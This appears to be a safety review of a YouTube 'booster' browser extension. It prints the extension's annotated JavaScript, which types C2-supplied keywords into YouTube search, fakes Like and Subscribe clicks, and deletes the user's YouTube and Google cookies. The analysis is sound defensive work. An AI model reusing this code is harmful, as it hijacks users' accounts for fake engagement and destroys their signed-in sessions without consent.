Is REAL BOOSTER - YouTube safe?

// Types one character of the C2-supplied keyword into YouTube's own search box
function set_query(query, cur_pos){
	var q=query.substr(cur_pos,1);                 // next character of the mission keyword
	var inp=document.getElementsByName('search_query');
	inp[0].value=inp[0].value+q;                    // append it to the search box value
	var ev=new Event('input');
	inp[0].dispatchEvent(ev);                       // fire input event so YouTube's JS reacts as if typed

	return "1";
}

// Submits the search form once every character has been typed in
function query_submit(){
	document.forms['search-form'].submit();

	return "OK!";
}

// Alarm-driven loop: injects the mission keyword one keystroke per tick, then submits
async function run_setquery() {

	chrome.storage.local.get('GB_TID', function(result_TID){
		TID = result_TID.GB_TID;                     // tab ID of the YouTube tab opened for this mission

		chrome.storage.local.get('GB_query', function(result_query){
			if (result_query.GB_query===undefined){
				query = '';
			}else{
				query=result_query.GB_query;             // the C2-supplied keyword (KW)
			}

			chrome.storage.local.get('GB_cur_pos', function(result_cur_pos){
				cur_pos=result_cur_pos.GB_cur_pos;       // how many characters typed so far

				if (cur_pos<query.length){
					// still mid-word: inject the next character into the live YouTube tab
					chrome.scripting.executeScript(
					{
						target: {tabId: TID},
						func: set_query,
						args: [query, cur_pos],
					},
					(queryResults) => {
						cur_pos++;
						chrome.storage.local.set({'GB_cur_pos': cur_pos});

						// human-like delay before the next character
						chrome.alarms.create('alarm_run_setquery', {when: Date.now() + wait()});
					});

				} else {
					// full keyword typed: submit the search form for the user
					chrome.scripting.executeScript(
					{
						target: {tabId: TID},
						func: query_submit,
						args: [query],
					},
					(submitResults) => {

						if (submitResults){
							_DEBUG_Print('query_submit: ' + submitResults);

							scrpage=0;
							chrome.storage.local.set({'GB_scrpage': scrpage});
						}

					});
				}
			}); /* GB_cur_pos */
		}); /* GB_query */
	}); /* GB_TID */

}

// Injected into the YouTube tab; finds the Like button and fakes a real mouse click on it
function set_like(e){

	var r='F';
	var mc=document.getElementById('menu-container');
	if (mc){
		var ytbr=mc.getElementsByTagName('ytd-toggle-button-renderer');   // the Like button component
		if (0<ytbr.length){
			var event1=document.createEvent('MouseEvents');
			event1.initEvent('mousedown',true,true);
			ytbr[0].dispatchEvent(event1);                                  // synthetic mousedown

			var event2=document.createEvent('MouseEvents');
			event2.initEvent('click',true,true);
			ytbr[0].dispatchEvent(event2);                                  // synthetic click, no real cursor involved
			r='T';
		}
	}
	return r;
}

// Injected into the YouTube tab; finds the channel's Subscribe button and fakes a click
function set_subscribe(e){

	var r='F';
	var mc=document.getElementsByTagName('tp-yt-paper-button');
	if(mc){
		for(var i=0;i<mc.length;i++){
			var ele=mc.item(i);
			if(ele.getAttribute('noink') === null){
			}else{                                                          // the Subscribe button carries a 'noink' attribute
				var event1=document.createEvent('MouseEvents');
				event1.initEvent('mousedown',true,true);
				ele.dispatchEvent(event1);

				var event2=document.createEvent('MouseEvents');
				event2.initEvent('click',true,true);
				ele.dispatchEvent(event2);                                    // synthetic click subscribes the account
				r='T';
				break;
			}
		}
	}
	return r;
}

// Wipes every YouTube and Google cookie, forcing the user out of their signed-in session
function deleteCookies() {

	chrome.cookies.getAll({ 'domain': 'youtube.com' }, async function(cookies) {
		console.log('startingCookies::', cookies);

		for (let i = 0; i < cookies.length; i++) {
			await chrome.cookies.remove({'url': 'https://youtube.com', 'name': cookies[i].name});  // deletes each youtube.com cookie
		}

		const finalCookies = await chrome.cookies.getAll({'domain': 'youtube.com'});
		console.log('finalCookies::', finalCookies);
	})


	chrome.cookies.getAll({ 'domain': 'google.com' }, async function(cookies) {
		for (let i = 0; i < cookies.length; i++) {
			await chrome.cookies.remove({'url': 'https://google.com', 'name': cookies[i].name});   // deletes the Google account session cookies
		}
	})

	chrome.cookies.getAll({ 'domain': 'google.co.jp' }, async function(cookies) {
		for (let i = 0; i < cookies.length; i++) {
			await chrome.cookies.remove({'url': 'https://google.co.jp', 'name': cookies[i].name});
		}
	})

}
// called from init(), alongside clears of sessionStorage, localStorage and IndexedDB,
// and deleteDomainCookies('youtube.com') for a second pass